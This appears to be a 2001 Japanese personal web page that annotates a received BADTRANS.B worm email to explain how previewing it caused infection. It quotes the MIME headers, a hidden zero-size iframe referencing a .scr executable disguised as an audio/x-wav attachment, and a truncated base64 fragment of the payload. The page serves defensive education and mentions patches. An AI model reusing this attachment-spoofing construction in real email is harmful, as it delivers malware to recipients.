ワーム(ウィルス)講習会

私の所に、本物のワーム(WORM_BADTRANS.B)が送られてきましたので、なぜメールをプレビューするだけで感染するのかを、真面目に勉強してみました。
興味のある人は読んでね・・　　記2001/11/30

メール内容 解説 
From: "MYFRIEND" <_myfriend@someprovider.jp>
To: myaddress@myprovider.jp
Subject: Re: ｵ酳ｩﾁｽI
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
Content-Type: multipart/related;
         type="multipart/alternative";
         boundary="====_ABC1234567890DEF_===="
Content-Length: 39757
Status: RO

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
         boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
         charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
←
差出人アドレスの先頭に"_"が付いていて、ウィルスメールにそのまま返信すると、存在しないアドレスにメール送信する様に仕組まれています。		 
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
 ←※1
これが添付ファイルを開かせる第一の罠です。htmlメールで記述し、IEに処理を渡させます。		 
Content-Type: audio/x-wav;
         name="SETUP.DOC.scr"
Content-Transfer-Encoding: base64
Content-ID: 

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAA
AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v
ZGUuDQ0KJAAAAAAAAAAoxs1SbKejAWynowFsp6MBF7uvAWinowHv
AW6nowEOuLABZaejAWynogHyp6MBhLioAWCnowHUoaUBbaejAVJp
AAAAAAAAA・・・以降延々添付ファイル
 ←※2
これが第二の罠。添付ファイルを、wav(音)ファイルと偽っています。
先ほど処理を引き渡されたIEは、wav(音)ファイルと偽られると、デフォルト設定の場合勝手に添付ファイルを開いてしまいます。

※1
htmlメールが危険なのは、このため。
本来ならばここにも対策すべきだが、Microsoftはここに対策を打とうとしない。OutlookやOutlook Expressは、html機能を殺す設定も出来ない。
それ以外のメールソフトを使うとセキュリティー上好ましいと言われるのは、これが大きい様である。

※2
マイクロソフトは、ここに対策を打ち、IE5.1sp2, IE5.5sp2, IE6が対策済みと称している。
ブラウザをアップデートしなくても可能な暫定対策は、以前私が紹介したこちら。
ウィルスを防御する原理は一緒である。